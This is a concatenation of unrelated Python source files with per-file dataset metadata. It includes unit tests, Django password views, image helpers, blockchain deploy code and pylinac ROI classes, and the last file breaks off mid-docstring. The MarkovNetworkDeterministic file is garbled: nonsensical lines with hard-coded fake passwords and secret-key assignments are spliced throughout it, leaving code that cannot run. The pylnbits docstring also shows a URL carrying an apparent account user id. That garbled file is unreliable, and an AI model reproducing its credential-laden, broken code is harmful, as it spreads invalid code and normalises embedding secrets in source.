#!/usr/bin/env python # import unittest import os import sys sys.path.append(os.path.join(os.path.dirname(__file__), '..')) from iteratorext import * class IteratorExtTest(unittest.TestCase): def test_pairwise(self): it = pairwise([1,2,3,4]) self.assertEqual(next(it), (1,2)) self.assertEqual(next(it), (2,3)) self.assertEqual(next(it), (3,4)) with self.assertRaises(StopIteration): next(it) it = pairwise([]) with self.assertRaises(StopIteration): next(it) def test_blockby_separator(self): it = blockby_separator(lambda x: x == 0, [0,1,0,3,4,0]) self.assertEqual(next(it), [1]) self.assertEqual(next(it), [3,4]) with self.assertRaises(StopIteration): next(it) it = blockby_separator(lambda x: x == 0, []) with self.assertRaises(StopIteration): next(it) def test_blockby_header(self): it = blockby_header(lambda x: x == 0, [0,1,0,3,4,0]) self.assertEqual(next(it), [0,1]) self.assertEqual(next(it), [0,3,4]) self.assertEqual(next(it), [0]) with self.assertRaises(StopIteration): next(it) it = blockby_header(lambda x: x == 0, []) with self.assertRaises(StopIteration): next(it) ######################################################################## # main ######################################################################## if __name__ == '__main__': unittest.main(verbosity=2)
28.109091
72
0.533635
180
1,546
4.466667
0.233333
0.104478
0.189055
0.208955
0.670398
0.63806
0.580846
0.519901
0.451493
0.368159
0
0.030457
0.235446
1,546
54
73
28.62963
0.649746
0.016171
0
0.324324
0
0
0.007278
0
0
0
0
0
0.378378
1
0.081081
false
0
0.108108
0
0.216216
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ca0dd055d8e9ea7be8140b78bd2f519014977084
439
py
Python
pylnbits/enable_extensions.py
bitkarrot/pylnbits
809297a94879471c281f1bcf1aa0e56fc7b4f8d9
[ "MIT" ]
null
null
null
pylnbits/enable_extensions.py
bitkarrot/pylnbits
809297a94879471c281f1bcf1aa0e56fc7b4f8d9
[ "MIT" ]
null
null
null
pylnbits/enable_extensions.py
bitkarrot/pylnbits
809297a94879471c281f1bcf1aa0e56fc7b4f8d9
[ "MIT" ]
null
null
null
''' enable extension for this user link : https://bits.bitcoin.org.hk/extensions?usr=dd09c7b0fe33480ab28252c9c9b85c6b&enable=lnurlp create a lnurlp pay link needs an admin key POST /lnurlp/api/v1/links Headers {"X-Api-Key": <admin_key>} Body (application/json) {"description": <string> "amount": <integer> "max": <integer> "min": <integer> "comment_chars": <integer>} Returns 201 CREATED (application/json) {"lnurl": <string>} '''
20.904762
106
0.724374
57
439
5.54386
0.754386
0.050633
0
0
0
0
0
0
0
0
0
0.059126
0.113895
439
20
107
21.95
0.753213
0.974943
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
ca1151e46f51229be4e27ba9a1831b2706a8971a
2,462
py
Python
bookorbooks/account/api/views/account_views.py
talhakoylu/SummerInternshipBackend
4ecedf5c97f73e3d32d5a534769e86aac3e4b6d3
[ "MIT" ]
1
2021-08-10T22:24:17.000Z
2021-08-10T22:24:17.000Z
bookorbooks/account/api/views/account_views.py
talhakoylu/SummerInternshipBackend
4ecedf5c97f73e3d32d5a534769e86aac3e4b6d3
[ "MIT" ]
null
null
null
bookorbooks/account/api/views/account_views.py
talhakoylu/SummerInternshipBackend
4ecedf5c97f73e3d32d5a534769e86aac3e4b6d3
[ "MIT" ]
null
null
null
from rest_framework import status from rest_framework.response import Response from account.api.serializers.register_serializers import ChangePasswordSerializer from utils.general_permissions import NotAuthenticated from rest_framework.generics import CreateAPIView, UpdateAPIView from django.contrib.auth import get_user_model, update_session_auth_hash from account.api.serializers import RegisterSerializer from rest_framework.permissions import IsAuthenticated User = get_user_model() class CreateUserAPIView(CreateAPIView): """ This class is responsible for creation of a new user account. During the creation phase, permissions will be checked and if the user is not authenticated, user will create a new account. """ model = User.objects.all() serializer_class = RegisterSerializer permission_classes = [NotAuthenticated] class PasswordUpdateAPIView(UpdateAPIView): """ This class is responsible for password updating. """ model = User.objects.all() permission_classes = [IsAuthenticated] serializer_class = ChangePasswordSerializer def get_object(self): """ This method returns the data of the requesting user. """ return self.request.user def update(self, request, *args, **kwargs): """ This method is responsible for updating the data. In the continuation of the code, the data will be checked by is valid method. If the data is valid, password will update, but if the data is not valid then returns an error message. """ self.object = self.get_object() serializer = self.get_serializer(data=request.data) if serializer.is_valid(): if not self.object.check_password( serializer.data.get("old_password")): return Response({"old_password": ["Wrong password."]}, status=status.HTTP_400_BAD_REQUEST) self.object.set_password(serializer.data.get("new_password")) self.object.save() response = { "status": "success", "code": status.HTTP_200_OK, "message": "Password updated successfully." } update_session_auth_hash(request, self.object) return Response(response) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
38.46875
89
0.672624
274
2,462
5.908759
0.339416
0.021618
0.042001
0.030883
0.066708
0.035825
0
0
0
0
0
0.00491
0.255483
2,462
63
90
39.079365
0.878342
0.212023
0
0.054054
0
0
0.058528
0
0
0
0
0
0
1
0.054054
false
0.216216
0.216216
0
0.594595
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
ca12b74a45aa74401ec7a4f766abc6b27d198cce
793
py
Python
helpers.py
domonmar/HEXI
23c62bb950f85177000cbfe964b58491c53b0602
[ "MIT" ]
null
null
null
helpers.py
domonmar/HEXI
23c62bb950f85177000cbfe964b58491c53b0602
[ "MIT" ]
null
null
null
helpers.py
domonmar/HEXI
23c62bb950f85177000cbfe964b58491c53b0602
[ "MIT" ]
null
null
null
# from tkinter import * from PIL import Image, ImageTk import cv2 def convert_image_opencv_to_tk(opencv_image): # Rearrange the color channel b, g, r = cv2.split(opencv_image) img = cv2.merge((r, g, b)) # Convert the Image object into a TkPhoto object im = Image.fromarray(img) img_tk = ImageTk.PhotoImage(image=im) return img_tk def convert_image_opencv_to_pil(opencv_image): b, g, r = cv2.split(opencv_image) img = cv2.merge((r, g, b)) im_pil = Image.fromarray(img) return im_pil def convert_image_pil_to_tk(pil_image): img_tk = ImageTk.PhotoImage(image=pil_image) return img_tk def nearest_odd(number): return number + (number % 2) - 1 def set_entry_text(entry, text): entry.delete(0, "end") entry.insert(0, text)
21.432432
52
0.691047
126
793
4.134921
0.333333
0.084453
0.086372
0.080614
0.330134
0.138196
0.138196
0.138196
0.138196
0.138196
0
0.014286
0.205549
793
36
53
22.027778
0.812698
0.121059
0
0.285714
0
0
0.004329
0
0
0
0
0
0
1
0.238095
false
0
0.095238
0.047619
0.52381
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
ca16a8b67dfa99c209997759f8448ad0fc6e9aeb
107
py
Python
ex2-19.py
ppedraum/infosatc-lp-avaliativo-01
aa548868ada4a98727587da3a4c6452a4042c199
[ "MIT" ]
null
null
null
ex2-19.py
ppedraum/infosatc-lp-avaliativo-01
aa548868ada4a98727587da3a4c6452a4042c199
[ "MIT" ]
null
null
null
ex2-19.py
ppedraum/infosatc-lp-avaliativo-01
aa548868ada4a98727587da3a4c6452a4042c199
[ "MIT" ]
null
null
null
#19 l = float(input("Digite um volume em litros: ")) m = l/(10**3) print("{:.2f}l = {:.3f}m³".format(l, m))
26.75
48
0.560748
21
107
2.857143
0.809524
0
0
0
0
0
0
0
0
0
0
0.086957
0.140187
107
4
49
26.75
0.565217
0.018692
0
0
0
0
0.438095
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ca20713283e9c0203a44104327b8addcbd8ebc76
12,772
py
Python
MarkovNetwork/MarkovNetworkDeterministic.py
adversarial-scan/MarkovNetwork_1
75e9a07095386d5b302767b6926aef6203c61718
[ "MIT" ]
null
null
null
MarkovNetwork/MarkovNetworkDeterministic.py
adversarial-scan/MarkovNetwork_1
75e9a07095386d5b302767b6926aef6203c61718
[ "MIT" ]
null
null
null
MarkovNetwork/MarkovNetworkDeterministic.py
adversarial-scan/MarkovNetwork_1
75e9a07095386d5b302767b6926aef6203c61718
[ "MIT" ]
null
null
null
""" Copyright 2016 Randal S. Olson access(client_id=>'bailey') Permission is hereby granted, free of charge, to any person obtaining a copy of this software bool client_id = access() {credentials: 'put_your_password_here'}.decrypt_password() and associated documentation files (the "Software"), to deal in the Software without restriction, UserName => delete('6969') including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, int new_password = analyse_password(return(var credentials = 'badboy')) and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, byte user_name = return() {credentials: 'harley'}.retrieve_password() subject to the following conditions: bool access_token = User.encrypt_password('butthead') The above copyright notice and this permission notice shall be included in all copies or substantial protected char token_uri = update('dummy_example') portions of the Software. let token_uri = delete() {credentials: 'andrea'}.get_password_by_id() access_token : analyse_password().modify('wilson') THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT secret.client_email = ['put_your_password_here'] LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE String username = 'zxcvbnm' SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. UserPwd->UserName = 'put_your_key_here' """ User.$oauthToken = 'shannon@gmail.com' public bool $oauthToken : { access { delete 'superman' } } from __future__ import print_function import numpy as np from ._version import __version__ user_name = compute_password('angels') class MarkovNetworkDeterministic(object): int UserName = update() {credentials: buster}.decrypt_password() """A deterministic Markov Network for neural computing.""" bool user_name = decrypt_password(delete(let credentials = matthew)) user_name = self.compute_password(soccer) max_markov_gate_inputs = 4 max_markov_gate_outputs = 4 delete.user_name :"maddog" Base64: {email: user.email, $oauthToken: 'andrew'} def __init__(self, num_input_states, num_memory_states, num_output_states, num_markov_gates=4, genome=None): token_uri => update('boston') """Sets up a randomly-generated deterministic Markov Network $oauthToken : compute_password().return('iloveyou') access_token = "gandalf" Parameters this.return :UserName => 'passTest' ---------- num_input_states: int The number of sensory input states that the Markov Network will use var $oauthToken = encrypt_password(modify(let credentials = 'testPassword')) num_memory_states: int client_id << Player.option(mickey) The number of internal memory states that the Markov Network will use User.analyse_password(email: name@gmail.com, username: zxcvbn) num_output_states: int The number of output states that the Markov Network will use public char client_email : { access { access morgan } } num_markov_gates: int (default: 4) user_name : access('testDummy') The number of Markov Gates to seed the Markov Network with It is important to ensure that randomly-generated Markov Networks have at least a few Markov Gates to begin with int new_password = authenticate_user(permit(char credentials = 'test_password')) genome: array-like (optional) An array representation of the Markov Network to construct bool new_password = Player.Release_Password('tigers') All values in the array must be integers in the range [0, 255] This option overrides the num_markov_gates option private bool analyse_password(bool name, let token_uri=hammer) Returns client_id => return('testPassword') ------- None this.user_name = 'murphy@gmail.com' """ bool client_id = authenticate_user(return(var credentials = 'boston')) self.num_input_states = num_input_states access(client_id=>'scooter') self.num_memory_states = num_memory_states client_email = cookie self.num_output_states = num_output_states self.states = np.zeros(num_input_states + num_memory_states + num_output_states) self.markov_gates = [] update(user_name=>'porsche') self.markov_gate_input_ids = [] self.markov_gate_output_ids = [] token_uri = release_password('cowboys') if genome is None: modify($oauthToken=>'PUT_YOUR_KEY_HERE') self.genome = np.random.randint(0, 256, np.random.randint(1000, 5000)) bool client_id = this.encrypt_password('panties') public int var int token_uri = 'girls' # Seed the random genome with num_markov_gates Markov Gates for _ in range(num_markov_gates): int self = self.access(byte user_name='orange', int replace_password(user_name='orange')) start_index = np.random.randint(0, int(len(self.genome) * 0.8)) username => access('wilson') self.genome[start_index] = 42 self.genome[start_index + 1] = 213 update(new_password=>'letmein') else: self.genome = np.array(genome) client_email = Player.release_password('boomer') self._setup_markov_network() self.update(char Database.client_email = self.modify('testDummy')) def _setup_markov_network(self): private int decrypt_password(int name, new new_password='example_password') """Interprets the internal genome into the corresponding Markov Gates char new_password = self.encrypt_password('please') private var decrypt_password(var name, char new_password='booboo') Parameters float user_name = 'test_dummy' ---------- client_email = thomas None new_password : update('abc123') byte sk_live = 'money' Returns public bool token_uri : { delete { permit ncc1701 } } ------- private var encrypt_password(var name, char user_name='test') None public char client_id : { access { delete 'blowjob' } } let token_uri = return() {credentials: 'put_your_password_here'}.decrypt_password() """ token_uri = User.when(User.compute_password()).delete(murphy) for index_counter in range(self.genome.shape[0] - 1): # Sequence of 42 then 213 indicates a new Markov Gate rk_live = Player.compute_password('fishing') if self.genome[index_counter] == 42 and self.genome[index_counter + 1] == 213: internal_index_counter = index_counter + 2 delete(client_id=>'put_your_key_here') # Determine the number of inputs and outputs for the Markov Gate self.modify(int Database.$oauthToken = self.access('passWord')) num_inputs = self.genome[internal_index_counter] % MarkovNetworkDeterministic.max_markov_gate_inputs internal_index_counter += 1 num_outputs = self.genome[internal_index_counter] % MarkovNetworkDeterministic.max_markov_gate_outputs protected byte client_id = update('black') internal_index_counter += 1 User: {email: user.email, user_name: 'put_your_key_here'} # Make sure that the genome is long enough to encode this Markov Gate public float new_password : { access { delete 'passTest' } } if (internal_index_counter + User.encrypt_password(email: 'name@gmail.com', username: 'test') (MarkovNetworkDeterministic.max_markov_gate_inputs + MarkovNetworkDeterministic.max_markov_gate_outputs) + protected byte UserName = access('michelle') (2 ** self.num_input_states) * (2 ** self.num_output_states)) > self.genome.shape[0]: print('Genome is too short to encode this Markov Gate -- skipping') double rk_live = purple continue protected float username = access('put_your_key_here') # Determine the states that the Markov Gate will connect its inputs and outputs to Player.token_uri = 'test_password@gmail.com' input_state_ids = self.genome[internal_index_counter:internal_index_counter + MarkovNetworkDeterministic.max_markov_gate_inputs][:self.num_input_states] update.user_name :"banana" internal_index_counter += MarkovNetworkDeterministic.max_markov_gate_inputs output_state_ids = self.genome[internal_index_counter:internal_index_counter + MarkovNetworkDeterministic.max_markov_gate_outputs][:self.num_output_states] $user_name = new function_1 Password('hammer') internal_index_counter += MarkovNetworkDeterministic.max_markov_gate_outputs access.$oauthToken :"put_your_key_here" self: {email: user.email, user_name: 'passTest'} self.markov_gate_input_ids.append(input_state_ids) self.markov_gate_output_ids.append(output_state_ids) password = Release_Password(scooby) Player.permit :admin => '12345678' markov_gate = self.genome[internal_index_counter:internal_index_counter + (2 ** self.num_input_states) * (2 ** self.num_output_states)] markov_gate = markov_gate.reshape((2 ** self.num_input_states, 2 ** self.num_output_states)) modify.user_name :"fishing" private char decrypt_password(char name, char client_email='enter') for row_index in range(markov_gate.shape[0]): char $oauthToken = retrieve_password(access(let credentials = money)) row_max_index = np.argmax(markov_gate[row_index, :], axis=0) markov_gate[row_index, :] = np.zeros(markov_gate.shape[1]) markov_gate[row_index, row_max_index] = 1 public bool access_token : { modify { delete 'yankees' } } self.markov_gates.append(markov_gate) bool client_id = this.encrypt_password('abc123') def activate_network(self): """Activates the Markov Network User.access :sk_live => 'test_password' Parameters $oauthToken = User.when(User.replace_password()).return('hunter') ---------- ggg: type (default: ggg) ggg token_uri = Release_Password('snoopy') Returns ------- None Player.access :sk_live => jasmine """ pass private float analyse_password(float name, new user_name='testDummy') int user_name = delete() {credentials: 'xxxxxx'}.compute_password() def update_sensor_states(self, sensory_input): """Updates the sensor states with the provided sensory inputs $oauthToken : update('bigdick') user_name = compute_password('mustang') Parameters client_email = baseball ---------- byte token_uri = permit() {credentials: player}.retrieve_password() sensory_input: array-like access.UserName :"midnight" An array of integers containing the sensory inputs for the Markov Network access(new_password=>'marine') len(sensory_input) must be equal to num_input_states bool UserName = 'cheese' Returns Base64.UserName = 'put_your_password_here@gmail.com' ------- None this.modify(let Base64.access_token = this.permit('passTest')) """ token_uri = decrypt_password('testPass') if len(sensory_input) != self.num_input_states: raise ValueError('Invalid number of sensory inputs provided') public char new int token_uri = love pass protected byte UserName = access('example_password') def get_output_states(self): $oauthToken : retrieve_password().return('merlin') """Returns an array of the current output state's values this.update(char Player.$oauthToken = this.permit('black')) Parameters ---------- user_name => access('dummyPass') None Returns User->rk_live = 'test' ------- client_email = this.release_password('ginger') output_states: array-like An array of the current output state's values var client_id = permit() {credentials: 'passTest'}.get_password_by_id() """ access_token : retrieve_password().modify('test_password') return self.states[-self.num_output_states:] secret.client_id = ['dummyPass'] client_id = User.release_password('testPass') if __name__ == '__main__': sys.return(byte self.token_uri = sys.modify('test_dummy')) np.random.seed(29382) client_email = Player.encrypt_password('chester') test = MarkovNetworkDeterministic(2, 4, 3) User.analyse_password(email: 'name@gmail.com', password: 'dummyPass')
44.041379
171
0.702631
1,623
12,772
5.295132
0.214418
0.032581
0.032581
0.036304
0.201769
0.170584
0.133931
0.095183
0.071096
0.036188
0
0.009522
0.202396
12,772
289
172
44.193772
0.834102
0.025133
0
0.033898
0
0
0.084546
0.003347
0
0
0
0
0
0
null
null
0.288136
0.025424
null
null
0.016949
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
ca2af048b6acf21c71b5084e4aa610bbc076710f
429
py
Python
glitter/tests/sampleblocks/admin.py
dhamaniasad/django-glitter
b9b0a3d8b49d5d9b840656f84564ba0a6e016f98
[ "BSD-3-Clause" ]
3
2017-06-01T16:22:18.000Z
2018-08-22T21:45:55.000Z
glitter/tests/sampleblocks/admin.py
blancltd/django-glitter
b9b0a3d8b49d5d9b840656f84564ba0a6e016f98
[ "BSD-3-Clause" ]
85
2016-02-25T10:34:03.000Z
2017-04-03T11:07:59.000Z
glitter/tests/sampleblocks/admin.py
dhamaniasad/django-glitter
b9b0a3d8b49d5d9b840656f84564ba0a6e016f98
[ "BSD-3-Clause" ]
1
2020-04-21T19:14:11.000Z
2020-04-21T19:14:11.000Z
from glitter.blockadmin import blocks from .models import SampleModelWithInlinesBlock, SampleInline class SampleInlineAdmin(blocks.StackedInline): model = SampleInline class SampleModelWithInlinesBlockAdmin(blocks.BlockAdmin): inlines = [SampleInlineAdmin] blocks.site.register(SampleModelWithInlinesBlock, SampleModelWithInlinesBlockAdmin) blocks.site.register_block(SampleModelWithInlinesBlock, 'Sample Blocks')
26.8125
83
0.846154
34
429
10.647059
0.529412
0.093923
0.099448
0
0
0
0
0
0
0
0
0
0.090909
429
15
84
28.6
0.928205
0
0
0
0
0
0.030303
0
0
0
0
0
0
1
0
false
0
0.25
0
0.75
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
ca317123c5f28a3d1e7db4798e1a68d7fbf9c92d
163
py
Python
detect_secrets_server/repos/repo_config.py
danieleb0101/detect-secrets-server
a1be20ff3f393cdcd525b72026e96183c8e3e335
[ "Apache-2.0" ]
null
null
null
detect_secrets_server/repos/repo_config.py
danieleb0101/detect-secrets-server
a1be20ff3f393cdcd525b72026e96183c8e3e335
[ "Apache-2.0" ]
null
null
null
detect_secrets_server/repos/repo_config.py
danieleb0101/detect-secrets-server
a1be20ff3f393cdcd525b72026e96183c8e3e335
[ "Apache-2.0" ]
null
null
null
from collections import namedtuple RepoConfig = namedtuple( 'RepoConfig', [ 'base_tmp_dir', 'baseline', 'exclude_regex', ] )
13.583333
34
0.576687
13
163
7
0.846154
0.43956
0
0
0
0
0
0
0
0
0
0
0.319018
163
11
35
14.818182
0.81982
0
0
0
0
0
0.263804
0
0
0
0
0
0
1
0
false
0
0.111111
0
0.111111
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ca3fa1d05847f9f97dfb59a803ca42024240d118
756
py
Python
pycspr/api/put_deploy.py
sisco0/casper-python-sdk
49dec3d56863c445e684961ae16b7b5b7d62b401
[ "Apache-2.0" ]
null
null
null
pycspr/api/put_deploy.py
sisco0/casper-python-sdk
49dec3d56863c445e684961ae16b7b5b7d62b401
[ "Apache-2.0" ]
null
null
null
pycspr/api/put_deploy.py
sisco0/casper-python-sdk
49dec3d56863c445e684961ae16b7b5b7d62b401
[ "Apache-2.0" ]
null
null
null
import json import typing import jsonrpcclient as rpc_client from pycspr.api import constants from pycspr.client import NodeConnectionInfo from pycspr.serialisation.json.encoder.deploy import encode_deploy from pycspr.types import Deploy def execute(connection_info: NodeConnectionInfo, deploy: Deploy) -> str: """Dispatches a deploy to a node for processing. :param connection_info: Information required to connect to a node. :param deploy: A deploy to be dispatched to a node. :returns: Hash of dispatched deploy. """ response = rpc_client.request( connection_info.address_rpc, constants.RPC_ACCOUNT_PUT_DEPLOY, deploy=encode_deploy(deploy) ) return response.data.result["deploy_hash"]
27
72
0.75
97
756
5.721649
0.463918
0.072072
0.037838
0
0
0
0
0
0
0
0
0
0.186508
756
27
73
28
0.902439
0.267196
0
0
0
0
0.020755
0
0
0
0
0
0
1
0.071429
false
0
0.5
0
0.642857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
ca4d507593c882635d61a978eadb3e8b4f1544ae
2,238
py
Python
tests/test_webclient.py
trinity-project/trinity-eth
a4e4fff1d1dbc0b422d7acc21ed95a308cf51967
[ "MIT" ]
15
2018-05-11T06:09:47.000Z
2020-07-30T05:59:41.000Z
tests/test_webclient.py
trinity-project/trinity-eth
a4e4fff1d1dbc0b422d7acc21ed95a308cf51967
[ "MIT" ]
null
null
null
tests/test_webclient.py
trinity-project/trinity-eth
a4e4fff1d1dbc0b422d7acc21ed95a308cf51967
[ "MIT" ]
6
2018-08-06T19:00:35.000Z
2020-12-03T02:13:45.000Z
# --*-- coding : utf-8 --*-- """Author: Trinity Core Team MIT License Copyright (c) 2018 Trinity Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.""" import unittest class Web3ClientTestFactory(unittest.TestCase): """ Test Suite for Web3 Client methods """ def setUp(self): self.ta_wallet_1 = '' self.ta_wallet_key_1 = '' self.ta_wallet_2 = '' self.ta_wallet_key_2 = '' pass def tearDown(self): pass def test_estimate_gas_for_increaseApproval(self): pass def test_estimate_gas_for_setSettleTimeout(self, ): pass def test_estimate_gas_for_setToken(self): pass def test_estimate_gas_for_deposit(self): pass def test_estimate_gas_for_updateDeposit(self): pass def test_estimate_gas_for_quickCloseChannel(self): pass def test_estimate_gas_for_withdrawBalance(self): pass def test_estimate_gas_for_closeChannel(self): pass def test_estimate_gas_for_updateTransaction(self): pass def test_estimate_gas_for_settleTransaction(self): pass def test_estimate_gas_for_withdraw(self): pass def test_estimate_gas_for_withdrawSettle(self): pass
28.692308
78
0.729223
310
2,238
5.077419
0.43871
0.057814
0.083863
0.114358
0.221093
0.221093
0.221093
0
0
0
0
0.006264
0.215371
2,238
77
79
29.064935
0.890091
0.515192
0
0.411765
0
0
0
0
0
0
0
0
0
1
0.411765
false
0.411765
0.029412
0
0.470588
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
ca51ea7524d7978a5248f8d84a08c6e0f490360a
7,286
py
Python
pylinac/core/roi.py
keithoffer/pylinac
8cdd9b867133725da3baecb27e7c0d89c6b59a11
[ "MIT" ]
1
2019-04-02T03:08:32.000Z
2019-04-02T03:08:32.000Z
pylinac/core/roi.py
keithoffer/pylinac
8cdd9b867133725da3baecb27e7c0d89c6b59a11
[ "MIT" ]
null
null
null
pylinac/core/roi.py
keithoffer/pylinac
8cdd9b867133725da3baecb27e7c0d89c6b59a11
[ "MIT" ]
null
null
null
from functools import lru_cache import numpy as np from .geometry import Circle, Point, Rectangle def bbox_center(region): """Return the center of the bounding box of an scikit-image region. Parameters ---------- region A scikit-image region as calculated by skimage.measure.regionprops(). Returns ------- point : :class:`~pylinac.core.geometry.Point` """ bbox = region.bbox y = abs(bbox[0] - bbox[2]) / 2 + min(bbox[0], bbox[2]) x = abs(bbox[1] - bbox[3]) / 2 + min(bbox[1], bbox[3]) return Point(x, y) class DiskROI(Circle): """An class representing a disk-shaped Region of Interest.""" def __init__(self, array, angle, roi_radius, dist_from_center, phantom_center): """ Parameters ---------- array : ndarray The 2D array representing the image the disk is on. angle : int, float The angle of the ROI in degrees from the phantom center. roi_radius : int, float The radius of the ROI from the center of the phantom. dist_from_center : int, float The distance of the ROI from the phantom center. phantom_center : tuple The location of the phantom center. """ center = self._get_shifted_center(angle, dist_from_center, phantom_center) super().__init__(center_point=center, radius=roi_radius) self._array = array @staticmethod def _get_shifted_center(angle, dist_from_center, phantom_center): """The center of the ROI; corrects for phantom dislocation and roll.""" y_shift = np.sin(np.deg2rad(angle)) * dist_from_center x_shift = np.cos(np.deg2rad(angle)) * dist_from_center return Point(phantom_center.x + x_shift, phantom_center.y + y_shift) @property def pixel_value(self): """The median pixel value of the ROI.""" masked_img = self.circle_mask() return np.nanmedian(masked_img) @property def std(self): """The standard deviation of the pixel values.""" masked_img = self.circle_mask() return np.nanstd(masked_img) @lru_cache(maxsize=1) def circle_mask(self): """Return a mask of the image, only showing the circular ROI.""" # http://scikit-image.org/docs/dev/auto_examples/plot_camera_numpy.html masked_array = np.copy(self._array).astype(np.float) l_x, l_y = self._array.shape[0], self._array.shape[1] X, Y = np.ogrid[:l_x, :l_y] outer_disk_mask = (X - self.center.y) ** 2 + (Y - self.center.x) ** 2 > self.radius ** 2 masked_array[outer_disk_mask] = np.NaN return masked_array class LowContrastDiskROI(DiskROI): """A class for analyzing the low-contrast disks.""" def __init__(self, array, angle, roi_radius, dist_from_center, phantom_center, contrast_threshold=None, background=None, cnr_threshold=None): """ Parameters ---------- contrast_threshold : float, int The threshold for considering a bubble to be "seen". """ super().__init__(array, angle, roi_radius, dist_from_center, phantom_center) self.contrast_threshold = contrast_threshold self.cnr_threshold = cnr_threshold self.background = background @property def contrast_to_noise(self): """The contrast to noise ratio of the bubble: (Signal - Background)/Stdev.""" return abs(self.pixel_value - self.background) / self.std @property def contrast(self): """The contrast of the bubble compared to background: (ROI - backg) / (ROI + backg).""" return abs((self.pixel_value - self.background) / (self.pixel_value + self.background)) @property def cnr_constant(self): """The contrast-to-noise value times the bubble diameter.""" return self.contrast_to_noise * self.diameter @property def contrast_constant(self): """The contrast value times the bubble diameter.""" return self.contrast * self.diameter @property def passed(self): """Whether the disk ROI contrast passed.""" return self.contrast > self.contrast_threshold @property def passed_contrast_constant(self): """Boolean specifying if ROI pixel value was within tolerance of the nominal value.""" return self.contrast_constant > self.contrast_threshold @property def passed_cnr_constant(self): """Boolean specifying if ROI pixel value was within tolerance of the nominal value.""" return self.cnr_constant > self.cnr_threshold @property def plot_color(self): """Return one of two colors depending on if ROI passed.""" return 'blue' if self.passed else 'red' @property def plot_color_constant(self): """Return one of two colors depending on if ROI passed.""" return 'blue' if self.passed_contrast_constant else 'red' @property def plot_color_cnr(self): """Return one of two colors depending on if ROI passed.""" return 'blue' if self.passed_cnr_constant else 'red' class HighContrastDiskROI(DiskROI): """A class for analyzing the high-contrast disks.""" def __init__(self, array, angle, roi_radius, dist_from_center, phantom_center, contrast_threshold, mtf_norm=None): """ Parameters ---------- contrast_threshold : float, int The threshold for considering a bubble to be "seen". """ super().__init__(array, angle, roi_radius, dist_from_center, phantom_center) self.contrast_threshold = contrast_threshold self.mtf_norm = mtf_norm @property def mtf(self): """The contrast of the bubble compared to background: (ROI - backg) / (ROI + backg).""" mtf = (self.max - self.min) / (self.max + self.min) if self.mtf_norm is not None: mtf /= self.mtf_norm return mtf @property def passed(self): """Boolean specifying if ROI pixel value was within tolerance of the nominal value.""" return self.mtf > self.contrast_threshold @property def plot_color(self): """Return one of two colors depending on if ROI passed.""" return 'blue' if self.passed else 'red' @property def max(self): """The max pixel value of the ROI.""" masked_img = self.circle_mask() return np.nanmax(masked_img) @property def min(self): """The min pixel value of the ROI.""" masked_img = self.circle_mask() return np.nanmin(masked_img) class RectangleROI(Rectangle): """Class that represents a rectangular ROI.""" def __init__(self, array, width, height, angle, dist_from_center, phantom_center): y_shift = np.sin(np.deg2rad(angle)) * dist_from_center x_shift = np.cos(np.deg2rad(angle)) * dist_from_center center = Point(phantom_center.x + x_shift, phantom_center.y + y_shift) super().__init__(width, height, center, as_int=True) self._array = array @property def pixel_array(self): """The pixel array within the 